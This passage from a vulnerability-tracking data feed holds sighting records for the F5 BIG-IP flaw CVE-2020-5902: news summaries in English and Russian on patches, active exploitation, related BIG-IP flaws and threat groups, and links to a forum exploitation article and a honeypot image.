"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/Yemen_Shield/14", "content": "Critical Unauthorized RCE Vulnerability (CVE-2020-5902 with CVSS Score 10/10) Affects F5's BIG-IP Application Security Servers Used in large Enterprises, Data Centers, and Cloud Computing Environments.\n\nDetails \u2014 https://thehackernews.com/2020/07/f5-big-ip-application-security.html\n\nApply Newly Released Patch Updates ASAP!", "creation_timestamp": "2020-07-05T21:08:14.000000Z"}, {"uuid": "b1b70847-4a13-478c-8f19-8a282f29b1c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-24)", "content": "", "creation_timestamp": "2026-04-24T00:00:00.000000Z"}, {"uuid": "946b3382-8b5f-4fd5-b33b-e013ed9aa574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/itsec_news/3549", "content": "\u200b\u26a1\ufe0f\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0431\u0440\u0435\u0448\u044c \u0432 BIG-IP \u043e\u0442 F5 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\ud83d\udcac \u0422\u0440\u0430\u043d\u0441\u043d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f F5, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0430 \u0443\u0441\u043b\u0443\u0433\u0430\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u0441\u0430\u0439\u0442\u0430\u043c\u0438 \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0444\u0438\u0440\u043c\u0435\u043d\u043d\u043e\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 BIG-IP, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2023-46747 \u0438 \u0431\u044b\u043b\u0430 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS \u0432 9,8 \u0438\u0437 10 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0431\u0430\u043b\u043b\u043e\u0432.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u041c\u0430\u0439\u043a\u043b\u0443 \u0412\u0435\u0431\u0435\u0440\u0443 \u0438 \u0422\u043e\u043c\u0430\u0441\u0443 \u0425\u0435\u043d\u0434\u0440\u0438\u043a\u0441\u043e\u043d\u0443 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Praetorian, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0441\u0432\u043e\u0439 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0442\u0447\u0451\u0442 \u0441 \u043d\u044e\u0430\u043d\u0441\u0430\u043c\u0438 \u0440\u0430\u0431\u043e\u0442\u044b CVE-2023-46747.\n\nF5 \u0443\u0442\u043e\u0447\u043d\u0438\u043b\u0430: \u00ab\u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u0438\u043c\u0435\u044e\u0449\u0435\u043c\u0443 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 BIG-IP \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0440\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 / \u0438\u043b\u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 IP-\u0430\u0434\u0440\u0435\u0441\u0430, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b\u00bb. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 \u0431\u044b\u043b\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u044b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 BIG-IP:\n\n17.1.0 (\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 17.1.0.3 + Hotfix-BIGIP-17.1.0.3.0.75.4-ENG);\n\n16.1.0 - 16.1.4 (\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 16.1.4.1 + Hotfix-BIGIP-16.1.4.1.0.50.5-ENG);\n\n15.1.0 - 15.1.10 (\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 15.1.10.2 + Hotfix-BIGIP-15.1.10.2.0.44.2-ENG);\n\n14.1.0 - 14.1.5 (\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 14.1.5.6 + Hotfix-BIGIP-14.1.5.6.0.10.6-ENG);\n\n13.1.0 - 13.1.5 (\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 13.1.5.1 + Hotfix-BIGIP-13.1.5.1.0.20.2-ENG);\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432 F5 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 , \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u0432\u0435\u0440\u0441\u0438\u0438 14.1.0. \u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u0430\u043a\u0446\u0435\u043d\u0442, \u0447\u0442\u043e \u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 BIG-IP \u043d\u0438\u0436\u0435 14.1.0 \u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0437\u0430\u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0435\u0449\u0451 \u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u043c\u0438 BIG-IP. \u0421\u0430\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043f\u043e \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0441 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0441\u043e\u0432\u0435\u0442\u044b:\n\n\u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0442\u0438\u043b\u0438\u0442\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 IP-\u0430\u0434\u0440\u0435\u0441\u0430 ;\n\u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0442\u0438\u043b\u0438\u0442\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f .\n\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e CVE-2023-46747 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u0436\u0435 \u0442\u0440\u0435\u0442\u044c\u0435\u0439 \u043f\u043e \u0441\u0447\u0451\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 BIG-IP TMUI \u043f\u043e\u0441\u043b\u0435 CVE-2020-5902 \u0438 CVE-2022-1388 .\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-10-27T14:49:00.000000Z"}, {"uuid": "b55a831f-4c83-48f0-a203-663a39b0f259", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/codeby_sec/3191", "content": "\u200b\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE-2020-5902\n\n\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043f\u0440\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020-5902.\n\u041d\u0430\u0439\u0434\u0451\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443 \u0438 \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c \u0434\u0430\u043d\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u0435.\n\u041c\u0438\u0445\u0430\u0438\u043b \u041a\u043b\u044e\u0447\u043d\u0438\u043a\u043e\u0432 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0441\u0432\u0435\u0436\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0440\u0430\u0437\u0443 \u0436\u0435 \u0431\u044b\u043b\u0430 \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u0430 \u043a\u0430\u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f.\n\u0411\u044b\u043b \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2020-5902 \u0438 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0430\u0438\u0432\u044b\u0441\u0448\u0435\u043c\u0443 \u0443\u0440\u043e\u0432\u043d\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043e\u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 BIG-IP.\n\n\u0427\u0438\u0442\u0430\u0442\u044c \u043d\u0430 \u0444\u043e\u0440\u0443\u043c\u0435: https://codeby.net/threads/ehkspluatacija-cve-2020-5902.74260/\n\n#cve #bigip #lfi #rce #pentest\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\n\u0424\u0440\u0438\u043b\u0430\u043d\u0441 \u041a\u043e\u0434\u0435\u0431\u0430\u0439 \u2014 \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u043e\u0438\u0441\u043a\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0438 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0437\u0430\u043a\u0430\u0437\u043e\u0432", "creation_timestamp": "2020-08-12T15:27:33.000000Z"}, {"uuid": "f0db7c65-f85d-46f8-aeb5-5733d697ba36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/codeby_sec/4924", "content": "\u200b\u200b\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE-2020-5902\n\n\u041f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e \u0423\u0432\u0430\u0436\u0430\u0435\u043c\u044b\u0445 \u0424\u043e\u0440\u0443\u043c\u0447\u0430\u043d,\u0414\u0440\u0443\u0437\u0435\u0439 \u0438 \u0427\u0438\u0442\u0430\u0442\u0435\u043b\u0435\u0439 \u0424\u043e\u0440\u0443\u043c\u0430. \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043f\u0440\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020-5902. \u041d\u0430\u0439\u0434\u0451\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443 \u0438 \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c \u0434\u0430\u043d\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u0435.\n\n\u0427\u0438\u0442\u0430\u0442\u044c: https://codeby.net/threads/ehkspluatacija-cve-2020-5902.74260/\n\n#cve #rce #pentest", "creation_timestamp": "2021-09-02T17:16:02.000000Z"}, {"uuid": "3ecb3d08-3ce1-47f9-8e92-d51be7cf55c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/codeby_sec/8075", "content": "\ud83d\udcf2 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE-2020-5902\n\n\u041f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u043c, Codeby!\n\n\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043f\u0440\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020-5902. \u041d\u0430\u0439\u0434\u0451\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443 \u0438 \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c \u0434\u0430\u043d\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u0435.\n\n\ud83d\udd87 \u0427\u0438\u0442\u0430\u0442\u044c \u0441\u0442\u0430\u0442\u044c\u044e \n\n#pentest #rce", "creation_timestamp": "2024-04-05T07:39:53.000000Z"}, {"uuid": "4d7525bd-440d-488e-be4d-aa6bad6fa3fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-28)", "content": "", "creation_timestamp": "2026-04-28T00:00:00.000000Z"}, {"uuid": "036f22bb-25ee-4768-b004-ca6cd6d4af02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/orderofsixangles/450", "content": "cve-2020-5902 honeypot docker\n\nhttps://hub.docker.com/r/muchilwal/cve-2020-5902honeypot", "creation_timestamp": "2020-07-13T05:42:20.000000Z"}, {"uuid": "3fdbeca1-1be2-46fa-9a20-b54196eff896", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "https://t.me/BleepingComputer/8057", "content": "Iranian hackers are selling access to corporate networks\n\nAn Iranian-backed hacker group has been observed while seeking to sell access to compromised corporate networks to other threat actors\u00a0on underground forums and attempting to exploit F5 BIG-IP devices vulnerable to\u00a0CVE-2020-5902 exploits. [...]\n\nhttps://www.bleepingcomputer.com/news/security/iranian-hackers-are-selling-access-to-corporate-networks/", "creation_timestamp": "2020-09-01T18:10:10.000000Z"}, {"uuid": "07040e12-0f29-4b65-b9a1-c48e88922b4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "https://t.me/BleepingComputer/7815", "content": "US govt confirms active exploitation of F5 BIG-IP RCE flaw\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) today published a warning regarding the active exploitation of the\u00a0unauthenticated remote code execution (RCE) CVE-2020-5902 vulnerability affecting F5 Big-IP ADC devices. [...]\n\nhttps://www.bleepingcomputer.com/news/security/us-govt-confirms-active-exploitation-of-f5-big-ip-rce-flaw/", "creation_timestamp": "2020-07-24T19:37:26.000000Z"}, {"uuid": "7ab59000-924e-4d0e-bde3-73e75765fe24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "https://t.me/BleepingComputer/7703", "content": "Mitigating critical F5 BIG-IP RCE flaw not enough, bypass found\n\nF5 BIG-IP customers who only applied recommended mitigations and haven't yet\u00a0patched their devices against the\u00a0unauthenticated remote code execution (RCE) CVE-2020-5902 vulnerability\u00a0are now advised to update them against a recently found bypass. [...]\n\nhttps://www.bleepingcomputer.com/news/security/mitigating-critical-f5-big-ip-rce-flaw-not-enough-bypass-found/", "creation_timestamp": "2020-07-07T20:06:13.000000Z"}, {"uuid": "4c62cce4-6696-4054-914b-8d685e4528cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/true_secator/7335", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 F6 \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u043c \u043d\u0430\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0438 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b Kinsing (H2Miner \u0438\u00a0Resourceful Wolf) \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0437\u0430 \u0440\u0443\u0431\u0435\u0436\u043e\u043c \u0441 2019 \u0433\u043e\u0434\u0430, \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0441\u0432\u043e\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043e\u0442\u00a0\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f Kinsing, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043e\u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432\u00a0\u0441\u0432\u043e\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041e\u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u0434\u0436\u0435\u043a\u0438\u043d\u0433\u0435 - \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0434\u043b\u044f \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0430 \u043a\u0440\u0438\u043f\u0442\u044b, \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e Monero (XMR), \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0438 \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u0438 \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432.\n\n\u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0430\u0442\u0430\u043a \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 \u0421\u0435\u0432\u0435\u0440\u043d\u043e\u0439 \u0410\u043c\u0435\u0440\u0438\u043a\u0435, \u0417\u0430\u043f\u0430\u0434\u043d\u043e\u0439 \u0415\u0432\u0440\u043e\u043f\u0435 \u0438 \u0410\u0437\u0438\u0438. \n\n\u0412 2024 \u0433\u043e\u0434\u0443 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0438 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0430\u0442\u0430\u043a Kinsing, \u043d\u0435 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u044f \u0446\u0435\u043b\u044c 